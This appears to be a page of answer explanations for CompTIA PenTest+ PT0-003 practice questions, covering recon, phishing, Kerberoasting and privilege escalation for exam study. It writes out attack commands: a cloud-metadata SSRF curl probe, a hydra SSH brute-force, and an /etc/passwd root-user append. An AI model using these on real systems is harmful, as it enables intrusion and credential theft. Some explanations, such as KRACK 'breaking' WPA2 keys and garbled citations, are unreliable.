Practice Free PT0-003 CompTIA PenTest+ Exam Exam Questions Answers With Explanation

Correct Syntax for a Range Loop in Bash:

The seq command generates a sequence of numbers in a specified range, which is ideal for iterating over IP addresses in a Class C subnet (1–254).

Example: seq 1 254 will output numbers 1, 2, ..., 254 sequentially.

Explanation of Other Options:

A (crunch): The crunch command is used for wordlist generation and is unrelated to looping in Bash.

C (echo 1-254): This would output " 1-254 " as a string instead of generating a numeric range.

D ({1.-254}): This is incorrect Bash syntax and would result in a script error.

Final Script:

bash

for var in $(seq 1 254)

do

ping -c 1 192.168.10.$var

done

CompTIA Pentest+ References:

Domain 4.0 (Penetration Testing Tools)

Bash Scripting and Automation

Configuring and Registering a Service:

Registering a malicious service ensures that it starts automatically with the system, providing persistence even after reboots.

This method is stealthier than others and is commonly used in advanced persistent threat (APT) scenarios.

Why Not Other Options?

B (Remote desktop software): Installing such software is noisy and can easily be detected by monitoring tools.

C (User logon script): While it provides persistence, it is less reliable and more detectable than a system service.

D (Kerberoasting): This is a credential-stealing technique and does not establish persistence.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Domain 4.0 (Penetration Testing Tools)

Wireshark is a network packet analyzer used to capture and analyze network traffic in real-time. During a penetration test, it is often used to inspect unencrypted communication to extract sensitive information like plaintext login credentials. Here ' s how it works:

Packet Capturing:Wireshark captures the network packets transmitted over a network interface. If a user logs in through an insecure communication protocol (e.g., HTTP, FTP, or Telnet), the credentials are transmitted in plaintext.

Traffic Filtering:Using filters (e.g., http, tcp.port == 21), the tester narrows down the relevant traffic to locate the login request and response packets.

Sensitive Data Extraction:Analyzing the captured packets reveals plaintext credentials in the data payload, such as in HTTP POST requests.

Exploit the Information:After extracting the plaintext credentials, the tester can attempt unauthorized access to resources using these credentials.

CompTIA Pentest+ References:

Domain 1.0 (Planning and Scoping)

Domain 2.0 (Information Gathering and Vulnerability Identification)

Wireshark Usage Guide

Spear phishing is a targeted email attack aimed at specific individuals within an organization. Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.

Understanding Spear Phishing:

Targeted Attack: Focuses on specific individuals or groups within an organization.

Customization: Emails are customized based on the recipient ' s role, interests, or recent activities.

Purpose:

Testing Security Awareness: Evaluates how well individuals recognize and respond to phishing attempts.

Information Gathering: Attempts to collect sensitive information such as credentials, financial data, or personal details.

Process:

Reconnaissance: Gather information about the target through social media, public records, and other sources.

Email Crafting: Create a convincing email that appears to come from a trusted source.

Delivery and Monitoring: Send the email and monitor for responses or actions taken by the recipient.

References from Pentesting Literature:

Spear phishing is highlighted in penetration testing methodologies for testing security awareness and the effectiveness of email filtering systems.

HTB write-ups and phishing simulation exercises often detail the use of spear phishing to assess organizational security.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

======

To gather information about the network without causing detection mechanisms to flag the reconnaissance activities, the penetration tester should use sniffing.

Sniffing:

Definition: Sniffing involves capturing and analyzing network traffic passing through the network. It is a passive reconnaissance technique that does not generate detectable traffic on the network.

Tools: Tools like Wireshark and tcpdump are commonly used for sniffing. They capture packets and provide insights into network communications, protocols in use, devices, and potential vulnerabilities.

Advantages:

Stealthy: Since sniffing is passive, it does not generate additional traffic that could be detected by intrusion detection systems (IDS) or other monitoring tools.

Information Gathered: Sniffing can reveal IP addresses, MAC addresses, open ports, running services, and potentially sensitive information transmitted in plaintext.

Comparison with Other Techniques:

Banner Grabbing: Active technique that sends requests to a target service to gather information from banners, which can be detected.

TCP/UDP Scanning: Active technique that sends packets to probe open ports and services, easily detected by network monitoring tools.

Ping Sweeps: Active technique that sends ICMP echo requests to determine live hosts, also detectable by network monitoring.

Pentest References:

Reconnaissance Phase: Using passive techniques like sniffing during the initial reconnaissance phase helps gather information without alerting the target.

Network Analysis: Understanding the network topology and identifying key assets and vulnerabilities without generating traffic that could trigger alarms.

By using sniffing, the penetration tester can gather detailed information about the network in a stealthy manner, minimizing the risk of detection.

======

Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.

Tailgating:

Definition: Tailgating occurs when an unauthorized person follows an authorized person into a restricted area without the latter’s consent or knowledge. The authorized person typically opens a door or checkpoint, and the unauthorized person slips in behind them.

Example: An attacker waits near the entrance of a building and enters right after an employee, bypassing security measures.

Physical Security:

Importance: Physical security is a crucial aspect of overall security posture. Tailgating exploits human factors and weaknesses in physical security controls.

Prevention: Security measures such as turnstiles, mantraps, and security personnel can help prevent tailgating.

Pentest References:

Physical Penetration Testing: Tailgating is a common technique used in physical penetration tests to assess the effectiveness of an organization’s physical security controls.

Social Engineering: Tailgating often involves social engineering, where the attacker relies on the politeness or unawareness of the employee to gain unauthorized access.

By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization’s physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.

======

Option A correctly performs the standard Bash text-processing sequence PenTest+ expects testers to use when transforming scan output into tool-ready input. First, grep -v " IP " removes the header line by excluding the row containing “IP” (the CSV header includes “Host, IP, Username, Password”). Next, cut -d " , " -f 3,4 splits each remaining line on commas and selects fields 3 and 4, which correspond to Username and Password in the exported format. Finally, sed -e ' s/,/ / ' replaces the remaining comma between those two fields with a space, producing the intended two-column output suitable for piping into password auditing, spraying, or validation tooling.

The other choices do not correctly parse CSV columns: find searches filenames, not CSV content; the grep expression in C does not extract fields and would only match lines; and D attempts to filter text by excluding hostnames/IPs rather than selecting the required columns. This makes A the only option that reliably yields “username password” per line from the CSV.

Pivoting allows attackers to use a compromised host as a gateway to access internal resources.

Create an SSH tunnel using sshuttle (Option A):

sshuttle creates a transparent VPN-like connection over SSH, allowing the tester to forward traffic securely.

Advantages:

Provides encryption, preventing IDS/IPS detection.

Requires minimal interaction with the compromised host.

When the objective is to identify hosts while minimizing the chance of triggering an IPS, PenTest+ prioritizes low-noise reconnaissance techniques over active probing. A reverse DNS lookup queries DNS PTR records for IP addresses and can reveal hostnames for systems that are already registered in internal DNS. This often generates traffic that appears similar to normal enterprise name-resolution activity and is typically less suspicious than broad ICMP echo sweeps or repeated port probes.

An Nmap ping sweep is an overt discovery action that sends ICMP (and sometimes ARP/other probes) across a range and is more likely to be detected or rate-limited by monitoring and IPS controls. LLMNR poisoning with Responder is an active interception/credential capture technique that can be highly detectable and is not simply “host identification.” Viewing the local routing table is very quiet, but it primarily reveals networks and routes, not a list of live hosts on the segment. Therefore, reverse DNS lookups are the most logical balance of effectiveness and stealth for identifying hosts.

An external assessment focuses on testing the security of internet-facing services. Here’s why option C is correct:

External Assessment: It involves evaluating the security posture of services exposed to the internet, such as web servers, mail servers, and other public-facing infrastructure. The goal is to identify vulnerabilities that could be exploited by attackers from outside the organization’s network.

Segmentation: This type of assessment focuses on ensuring that different parts of a network are appropriately segmented to limit the spread of attacks. It’s more relevant to internal network architecture.

Mobile: This assessment targets mobile applications and devices, not general internet-facing services.

Web: While web assessments focus on web applications, the scope of an external assessment is broader and includes all types of internet-facing services.

References from Pentest:

Horizontall HTB: Highlights the importance of assessing external services to identify vulnerabilities that could be exploited from outside the network??.

Luke HTB: Demonstrates the process of evaluating public-facing services to ensure their security??.

Conclusion:

Option C, External, is the most appropriate type of assessment for targeting internet-facing services used by the client.

======

Windows provides built-in utilities for user enumeration and privilege escalation.

net command (Option C):

The net command is used to list users, groups, and shares on a Windows system:

net user

net localgroup administrators

net group " Domain Admins " /domain

Useful for gathering privilege escalation targets and understanding user permissions.

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here’s why the specified command is appropriate:

Accessing Cloud Metadata Service:

URL: http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.

Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as instance credentials and other metadata.

Comparison with Other Commands:

127.0.0.1/etc/passwd: This is more about local file inclusion, not specific to cloud metadata.

< script > alert(1) < /script > : This tests for XSS, not SSRF.

127.0.0.1: This is a generic loopback address and does not specifically test for metadata access in a cloud environment.

Using curl < url > ?param=http://169.254.169.254/latest/meta-data/ is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.

======

Dynamic Application Security Testing (DAST):

DAST tools interact with the running application from the outside, simulating attacks to identify security vulnerabilities.

They are particularly effective in identifying issues like SQL injection, XSS, CSRF, and other vulnerabilities in web applications.

DAST tools do not require access to the source code, making them suitable for black-box testing.

Advantages of DAST:

Real-World Testing: DAST simulates real-world attacks by interacting with the application in the same way a user would.

Comprehensive Coverage: Can identify vulnerabilities in all parts of the web application, including input fields, forms, and user interactions.

Automated Scanning: Automates the process of testing and identifying vulnerabilities, providing detailed reports on discovered issues.

Examples of DAST Tools:

OWASP ZAP (Zed Attack Proxy): An open-source DAST tool widely used for web application security testing.

Burp Suite: A popular commercial DAST tool that provides comprehensive scanning and testing capabilities.

Pentest References:

Web Application Testing: Understanding the importance of testing web applications for security vulnerabilities and the role of different testing methodologies.

Security Testing Tools: Familiarity with various security testing tools and their applications in penetration testing.

DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.

By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application ' s security.

======

When testing the security of a web application, specific tools are designed to uncover vulnerabilities and issues. Here’s an overview of the tools mentioned and why Nikto is the most suitable for this task:

Nikto:

Purpose: Nikto is a web server scanner that performs comprehensive tests against web servers for multiple items, including potentially dangerous files/programs, outdated versions, and other security issues.

Relevance: It is designed specifically for discovering vulnerabilities in web applications, making it the most appropriate choice for a penetration tester targeting a web application.

Comparison with Other Tools:

OpenVAS: A general-purpose vulnerability scanner that targets a wide range of network services and hosts, not specifically tailored for web applications.

Nessus: Similar to OpenVAS, Nessus is a comprehensive vulnerability scanner but is broader in scope and not focused solely on web applications.

sqlmap: This tool is excellent for SQL injection testing but is limited to database vulnerabilities and doesn’t cover the full spectrum of web application security issues.

======

In network penetration testing, the initial steps involve gathering information to build an understanding of the network ' s structure, devices, and potential entry points. The process generally follows a structured approach, starting from broad discovery methods to more specific identification techniques. Here ' s a comprehensive breakdown of the steps:

Host Discovery (Answer: C):

Objective: Identify live hosts on the network.

Tools & Techniques:

Ping Sweep: Using tools like nmap with the -sn option (ping scan) to check for live hosts by sending ICMP Echo requests.

ARP Scan: Useful in local networks, arp-scan can help identify all devices on the local subnet by broadcasting ARP requests.

nmap -sn 192.168.1.0/24

? References:

The GoBox HTB write-up emphasizes the importance of identifying hosts before moving to service enumeration??.

The Forge HTB write-up also highlights using Nmap for initial host discovery in its enumeration phase??.

? Service Discovery (Option A):

Objective: After identifying live hosts, determine the services running on them.

Tools & Techniques:

Nmap: Often used with options like -sV for version detection to identify services.

nmap -sV 192.168.1.100

? References:

As seen in multiple write-ups (e.g., Anubis HTB and Bolt HTB), service discovery follows host identification to understand the services available for potential exploitation????.

? OS Fingerprinting (Option B):

Objective: Determine the operating system of the identified hosts.

Tools & Techniques:

Nmap: With the -O option for OS detection.

nmap -O 192.168.1.100

? References:

Accurate OS fingerprinting helps tailor subsequent attacks and is often performed after host and service discovery, as highlighted in the write-ups??.

? DNS Enumeration (Option D):

Objective: Identify DNS records and gather subdomains related to the target domain.

Tools & Techniques:

dnsenum, dnsrecon, and dig.

dnsenum example.com

OpenID Connect (OIDC) with OAuth allows applications to authenticate users using third-party identity providers (IdPs). If dynamic registration is enabled, attackers can abuse this feature to capture and replay authentication requests.

Replay attack (Option C):

Attackers capture legitimate authentication tokens and reuse them to impersonate users.

OIDC uses JWTs (JSON Web Tokens), which may not expire quickly, making replay attacks highly effective.

To further enumerate users on a Windows machine using native operating system commands, the tester should use net.exe commands. The net command is a versatile tool that provides various network functionalities, including user enumeration.

net.exe:

net user: This command displays a list of user accounts on the local machine.

net user

net localgroup: This command lists all local groups, and by specifying a group name, it can list the members of that group.

net localgroup administrators

Enumerating Users:

List All Users: The net user command provides a comprehensive list of all user accounts configured on the system.

Group Memberships: The net localgroup command can be used to see which users belong to specific groups, such as administrators.

Pentest References:

Post-Exploitation: After gaining initial access, enumerating user accounts helps understand the structure and potential targets for privilege escalation.

Windows Commands: Leveraging built-in commands like net for enumeration ensures that no additional tools need to be uploaded to the target system, reducing the risk of detection.

Using net.exe commands, the penetration tester can effectively enumerate user accounts and group memberships on the compromised Windows machine, aiding in further exploitation and privilege escalation.

======

SAST is the most likely scan type because it analyzes source code, syntax, and coding patterns without executing the application. The question states that the finding is based on how a function from a Python library has been used in code, which is exactly the type of issue SAST tools are designed to detect. A deserialization weakness often appears when unsafe functions or insecure object handling are identified statically in the codebase. The statement that the scan does not consider actual input data further supports SAST, since static analysis usually flags risky usage patterns without observing live runtime behavior or real request flows. DAST focuses on behavior during execution from the outside, IAST observes the application during runtime, and SCA mainly identifies vulnerable third-party components rather than unsafe implementation logic in custom code.

==============

The correct answer is A. Accidental loss of internal data

Unauthorized use of public LLMs creates a risk that employees may paste sensitive company information into external AI services. This can include internal documents, source code, customer data, security details, architecture diagrams, incident information, or confidential business content.

Because the LLM services are not approved by IT, the organization may not have controls for data handling, retention, monitoring, contractual protection, or data loss prevention. The broadest and best description of the risk is accidental loss of internal data.

B is incorrect because public disclosure of intellectual property is possible, but it is a narrower example of internal data loss.

C is incorrect because employee credentials could be exposed, but the question does not indicate credential theft or active exfiltration.

D is incorrect because prompt injection is an attack against LLM behavior. The scenario describes unauthorized use of public LLM services, not manipulation of an LLM through malicious prompts.

In PenTest+ terms, this falls under Information Gathering and Vulnerability Scanning, specifically identifying unauthorized services, shadow IT, data exposure risks, and AI/LLM-related security concerns.

The GetUserSPNs.py script (part of Impacket) is used in Kerberoasting attacks. It requests Service Principal Names (SPNs) for users with associated services, retrieves TGS tickets, and then allows offline cracking of those tickets.

From the CompTIA PenTest+ PT0-003 Study Guide (Chapter 8 – Post-Exploitation):

“Kerberoasting involves requesting service tickets for SPNs, which can then be cracked offline to retrieve service account passwords.”

Data Loss Prevention (DLP) tools monitor network traffic and files for sensitive information leaks. The most effective way to bypass DLP is to use encryption, since DLP systems cannot inspect encrypted content.

Option A (Encoding) ?: Base64 or Hex encoding can sometimes bypass filters, but many DLP tools detect common encoding schemes.

Option B (Compression) ?: Compression can change file signatures, but modern DLP systems can inspect compressed files.

Option C (Encryption) ?: Correct.

Strong encryption prevents DLP tools from analyzing file contents.

Option D (Obfuscation) ?: Code obfuscation may work for source code leaks, but DLP solutions use heuristics to detect patterns.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Bypassing Security Controls

The Common Vulnerability Scoring System (CVSS) provides a standardized way to evaluate the severity of security vulnerabilities. It includes:

Base Metrics: Inherent characteristics of a vulnerability (e.g., attack vector, complexity).

Temporal Metrics: Factors that change over time (e.g., exploit availability).

Environmental Metrics: Customization based on an organization’s environment.

Correct answers:

Helping to prioritize remediation based on threat context (Option B):

CVSS scores help organizations prioritize vulnerabilities based on real-world impact.

The Environmental metric allows customization based on business risk.

In a cloud-hosted VDI scenario, the highest-value next step is typically to identify cloud credentials and configuration artifacts that enable access beyond the single desktop instance. The .aws directory is a well-known location where AWS command-line tooling stores sensitive material such as credential profiles and configuration details (for example, access keys, session tokens, default regions, and named profiles). PenTest+ emphasizes post-exploitation enumeration that targets credential sources capable of expanding access and impact, especially in cloud environments where a single set of keys may permit interacting with storage, compute, identity, and management APIs.

While .ssh can contain private keys useful for pivoting to other servers, in many cloud deployments SSH keys are scoped to specific hosts, whereas cloud access keys can unlock broader control-plane capabilities depending on attached permissions. .zsh_history is valuable for discovering commands and potentially leaked secrets, but it is less direct than immediately checking for structured cloud credentials. User folders like Documents are lower priority compared to credential repositories that can rapidly escalate the assessment’s scope of access.

Web shells provide remote access and persistence for attackers. The best mitigation is to remove persistence mechanisms.

Remove the persistence mechanisms (Option A):

Attackers often modify startup scripts, cron jobs, or registry keys to maintain access.

If persistence is not removed, even after the web shell is deleted, attackers can reinstall or reaccess it.

To break the key for a Wi-Fi network that uses WPA2 encryption, the penetration tester should use the KRACK (Key Reinstallation Attack) attack.

KRACK (Key Reinstallation Attack):

Definition: KRACK is a vulnerability in the WPA2 protocol that allows attackers to decrypt and potentially inject packets into a Wi-Fi network by manipulating and replaying cryptographic handshake messages.

Impact: This attack exploits flaws in the WPA2 handshake process, allowing an attacker to break the encryption and gain access to the network.

Other Attacks:

ChopChop: Targets WEP encryption, not WPA2.

Replay: Involves capturing and replaying packets to create effects such as duplicating transactions; it does not break WPA2 encryption.

Initialization Vector (IV): Related to weaknesses in WEP, not WPA2.

Pentest References:

Wireless Security: Understanding vulnerabilities in Wi-Fi encryption protocols, such as WPA2, and how they can be exploited.

KRACK Attack: A significant vulnerability in WPA2 that requires specific techniques to exploit.

By using the KRACK attack, the penetration tester can break WPA2 encryption and gain unauthorized access to the Wi-Fi network.

Top of Form

Bottom of Form

======

Risk scoring is the report element that most directly enables an organization to prioritize remediation work because it translates technical findings into an ordered view of business risk. In PenTest+ reporting guidance, testers are expected to communicate not only what is vulnerable but also how severe the issue is and how likely it is to be exploited, often incorporating factors such as exploitability, impact, exposure, and the presence of compensating controls. This produces a defensible ranking that helps stakeholders decide what to fix first when time and resources are limited.

Proof of concept supports validation by demonstrating that exploitation is possible, but it does not inherently provide comparative urgency across multiple findings. An attack narrative explains the path the tester used to achieve objectives (useful for understanding chaining and scope impact), but it is typically descriptive rather than a prioritization mechanism. The executive summary is aimed at leadership-level communication and overall posture, yet it usually depends on underlying risk ratings to justify what should be addressed first. Therefore, risk scoring most directly drives remediation prioritization.

Stakeholder Alignment:

During stakeholder alignment, the penetration tester and client discuss challenges, constraints, and objectives.

Addressing WAF interference ensures the scope and goals are adjusted or mitigated to accommodate the issue.

Why Not Other Options?

A: Goal reprioritization focuses on internal team adjustments, not client collaboration.

B: Peer review evaluates findings and methodologies but doesn’t involve clients.

C: Client acceptance occurs post-assessment, not during active engagement.

CompTIA Pentest+ References:

Domain 1.0 (Planning and Scoping)

The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here’s the purpose in the context provided:

SNMP Enumeration:

Function: snmpwalk is used to retrieve a large amount of information from the target device using SNMP.

Version: -v 2c specifies the SNMP version.

Community String: -c public specifies the community string, which is essentially a password for SNMP queries.

Purpose of the Command:

Validate Results: The tester uses SNMP to gather detailed information about the network devices to confirm the findings of the vulnerability scanner and remove any false positives.

Detailed Information: SNMP can provide detailed information about device configurations, network interfaces, and other settings that can validate the scanner’s results.

Comparison with Other Options:

Bypassing Defensive Systems (A): Not directly related to SNMP enumeration.

Using Automation Tools (B): While SNMPwalk is automated, the primary purpose here is validation.

Script Exploits (C): SNMPwalk is not used for scripting exploits but for information gathering.

By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.

======

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns

Part 2 - Weak SMB file permissions

https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lvl1sec13/fingerprinting-os-and-services-running-on-a-target-host

The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

The appropriate set of commands to escalate privileges is:

echo " root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash " > > /etc/passwd

The remediations that should be taken after the successful privilege escalation are:

Remove the SUID bit from cp.

Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation

Part 1: Exploiting Vulnerable Service

Nmap Scan Analysis

Command: nmap -sC -T4 192.168.10.2

Purpose: This command runs a default script scan with timing template 4 (aggressive).

Output:

bash

Copy code

Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba

3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

Enumerating Samba Shares

Command: enum4linux -S 192.168.10.2

Purpose: To enumerate Samba shares and users.

Output:

makefile

Copy code

user:[games] rid:[0x3f2]

user:[nobody] rid:[0x1f5]

user:[bind] rid:[0x4ba]

user:[proxy] rid:[0x42]

user:[syslog] rid:[0x4ba]

user:[www-data] rid:[0x42a]

user:[root] rid:[0x3e8]

user:[news] rid:[0x3fa]

user:[lowpriv] rid:[0x3fa]

We identify a user lowpriv.

Selecting Exploit Command

Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.

-l lowpriv: Specifies the username.

-P 500-worst-passwords.txt: Specifies the password list.

-t 4: Uses 4 tasks/threads for the attack.

ssh://192.168.10.2:22: Specifies the SSH service and port.

Executing the Hydra Command

Result: Successful login as lowpriv user if a match is found.

Part 2: Privilege Escalation and Remediation

Finding SUID Binaries and Configuration Files

Command: find / -perm -2 -type f 2 > /dev/null | xargs ls -l

Purpose: To find world-writable files.

Command: find / -perm -u=s -type f 2 > /dev/null | xargs ls -l

Purpose: To find files with SUID permission.

Command: grep " /bin/bash " /etc/passwd | cut -d ' : ' -f1-4,6,7

Purpose: To identify users with bash shell access.

Selecting Privilege Escalation Command

Command: echo " root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash " > > /etc/passwd

Purpose: To create a new root user entry in the passwd file.

root2: Username.

5ZOYXRFHVZ7OY: Password hash.

0:0: User and group ID (root).

/root: Home directory.

/bin/bash: Default shell.

Executing the Privilege Escalation Command

Result: Creation of a new root user root2 with a specified password.

Remediation Steps Post-Exploitation

Remove SUID Bit from cp:

Command: chmod u-s /bin/cp

Purpose: Removing the SUID bit from cp to prevent misuse.

Make Backup Script Not World-Writable:

Command: chmod o-w /path/to/backup/script

Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.

Execution and Verification

Verifying Hydra Attack:

Run the Hydra command and monitor for successful login attempts.

Verifying Privilege Escalation:

After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.

Implementing Remediation:

Apply the remediation commands to secure the system and verify the changes have been implemented.

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here’s why option B is correct:

Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.

Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.

Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.

Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.

References from Pentest:

Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters??.

Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters??.

Conclusion:

Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.

======

Upon discovering evidence of an advanced persistent threat (APT) on the network, the penetration tester should report the finding immediately.

Advanced Persistent Threat (APT):

Definition: APTs are prolonged and targeted cyberattacks in which an intruder gains access to a network and remains undetected for an extended period.

Significance: APTs often involve sophisticated tactics, techniques, and procedures (TTPs) aimed at stealing data or causing disruption.

Immediate Reporting:

Criticality: Discovering an APT requires immediate attention from the organization’s security team due to the potential impact and persistence of the threat.

Chain of Command: Following the protocol for reporting such findings ensures that appropriate incident response measures are initiated promptly.

Other Actions:

Analyzing the Finding: While analysis is important, it should be conducted by the incident response team after reporting.

Removing the Threat: This action should be taken by the organization’s security team following established incident response procedures.

Documenting and Continuing Testing: Documentation is crucial, but the immediate priority should be reporting the APT to ensure prompt action.

Pentest References:

Incident Response: Understanding the importance of immediate reporting and collaboration with the organization’s security team upon discovering critical threats like APTs.

Ethical Responsibility: Following ethical guidelines and protocols to ensure the organization can respond effectively to significant threats.

By reporting the finding immediately, the penetration tester ensures that the organization’s security team is alerted to the presence of an APT, allowing them to initiate an appropriate incident response.

======

A honeypot is a decoy system designed to attract attackers by exposing multiple services and vulnerabilities.

Indicators of a honeypot (Option A):

The system has an unusual combination of Windows (SMB, MSRPC) and Linux (Rsync, SSH) services.

It exposes a large number of open ports, which is uncommon for a production server.

Presence of " zeus-admin " (port 9090) suggests intentionally vulnerable services.

Eavesdropping:

Eavesdropping involves intercepting communications between parties without their consent. If the details were obtained from a meeting, it likely involved intercepting audio or network communications, such as unsecured VoIP calls, radio signals, or in-room microphones.

Why Not Other Options?

B (Bluesnarfing): Targets Bluetooth-enabled devices, which is unlikely to apply to general meeting communications.

C (Credential harvesting): Focuses on collecting user credentials and does not explain the discovery of product details from a meeting.

D (SQL injection): Exploits databases and is unrelated to capturing meeting communication.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Techniques for Intercepting Communication

Preserving artifacts ensures that key outputs from the penetration test, such as logs, screenshots, captured data, and any generated reports, are retained for analysis, reporting, and future reference.

Importance of Preserving Artifacts:

Documentation: Provides evidence of the test activities and findings.

Verification: Allows for verification and validation of the test results.

Reporting: Ensures that all critical data is available for the final report.

Types of Artifacts:

Logs: Capture details of the tools used, commands executed, and their outputs.

Screenshots: Visual evidence of the steps taken and findings.

Captured Data: Includes network captures, extracted credentials, and other sensitive information.

Reports: Interim and final reports summarizing the findings and recommendations.

Best Practices:

Secure Storage: Ensure artifacts are stored securely to prevent unauthorized access.

Backups: Create backups of critical artifacts to avoid data loss.

Documentation: Maintain detailed documentation of all artifacts for future reference.

References from Pentesting Literature:

Preserving artifacts is a standard practice emphasized in penetration testing methodologies to ensure comprehensive documentation and reporting of the test.

HTB write-ups often include references to preserved artifacts to support the findings and conclusions.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

======

The tester is conducting a phishing attack by cloning the company ' s login page to steal employee credentials.

Option A (BeEF) ?: BeEF is used for browser exploitation, not phishing.

Option B (theHarvester) ?: Used for OSINT, gathering emails, but does not conduct phishing attacks.

Option C (SET - Social Engineering Toolkit) ?: Correct.

SET allows testers to clone web pages and perform phishing attacks.

Option D (GoPhish) ?: GoPhish is a phishing simulation tool, but SET is specifically designed for credential harvesting.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Social Engineering & Phishing Attacks

The correct answer is A. Utilizing port mirroring on a firewall appliance

The key issue is that the tester must avoid tampering with the ICS host because modifying it could void the manufacturer’s support terms. Port mirroring, also known as SPAN, allows the tester to passively copy network traffic from a switch or firewall interface to a monitoring port. The tester can then inspect the copied traffic from a separate analysis system without installing software, changing configurations, or interfering with the ICS application.

This is the most effective and safest method to determine whether communications are encrypted in transit because the assessment team can observe whether traffic is plaintext or encrypted while avoiding changes to the protected host.

B is incorrect because installing packet capture software on the server modifies the host and could violate the support terms.

C is incorrect because reconfiguring the application to use a proxy changes the application behavior and would be considered tampering.

D is incorrect because requesting certificate pinning be disabled changes the application’s security configuration and is unnecessary for simply validating whether traffic is encrypted in transit.

In PenTest+ terms, this falls under Information Gathering and Vulnerability Scanning, especially passive traffic analysis, packet capture, and safe testing considerations in sensitive environments such as ICS/OT.

The vulnerability in question is XML External Entity (XXE) injection, which occurs when an application processes XML input containing external entities that access files on the server or external resources.

Disabling External Entities:

The root cause of the issue is the application ' s ability to process external entities ( < !ENTITY foo SYSTEM ... > ). Disabling external entities entirely prevents XXE attacks.

This can be achieved by properly configuring the XML parser (e.g., in Java, disable DocumentBuilderFactory.setFeature( " http://apache.org/xml/features/disallow-doctype-decl " , true)).

Why Not Other Options?

A (chmod o-rwx): File permission hardening may reduce the impact of a successful attack but does not mitigate XXE at the parser level.

B (Review logs): Reviewing logs is a reactive measure, not a prevention mechanism.

D (WAF): A WAF may block some malicious requests but is not a reliable mitigation for XXE vulnerabilities embedded in legitimate XML input.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

OWASP XXE Prevention Cheat Sheet

Installation:

Nmap can be installed on various operating systems. For example, on a Debian-based system:

sudo apt-get install nmap

Basic Network Scanning:

To scan a range of IP addresses in the network:

nmap -sP 192.168.1.0/24

Service and Version Detection:

To scan for open ports and detect the service versions running on a specific host:

nmap -sV 192.168.1.10

Enumerating Domain Systems:

Use Nmap with additional scripts to enumerate domain systems. For example, using the --script option:

nmap -p 445 --script=smb-enum-domains 192.168.1.10

Advanced Scanning Options:

Stealth Scan: Use the -sS option to perform a stealth scan:

nmap -sS 192.168.1.10

Aggressive Scan: Use the -A option to enable OS detection, version detection, script scanning, and traceroute:

nmap -A 192.168.1.10

Real-World Example:

A penetration tester uses Nmap to enumerate the systems within a domain by scanning the network for live hosts and identifying the services running on each host. This information helps in identifying potential vulnerabilities and entry points for further exploitation.

References from Pentesting Literature:

In " Penetration Testing - A Hands-on Introduction to Hacking, " Nmap is extensively discussed for various stages of the penetration testing process, from reconnaissance to vulnerability assessment.

HTB write-ups often illustrate the use of Nmap for network enumeration and discovering potential attack vectors.

Kerberoasting is an attack that specifically targets Service Principal Name (SPN) accounts in a Windows Active Directory environment. Here’s a detailed explanation:

Understanding SPN Accounts:

SPNs are unique identifiers for services in a network that allows Kerberos to authenticate service accounts. These accounts are often associated with services such as SQL Server, IIS, etc.

Kerberoasting Attack:

Prerequisite: Knowledge of the SPN account.

Process: An attacker requests a service ticket for the SPN account using the Kerberos protocol. The ticket is encrypted with the service account ' s NTLM hash. The attacker captures this ticket and attempts to crack the hash offline.

Objective: To obtain the plaintext password of the service account, which can then be used for lateral movement or privilege escalation.

Comparison with Other Attacks:

Golden Ticket: Involves forging Kerberos TGTs using the KRBTGT account hash, requiring domain admin credentials.

DCShadow: Involves manipulating Active Directory data by impersonating a domain controller, typically requiring high privileges.

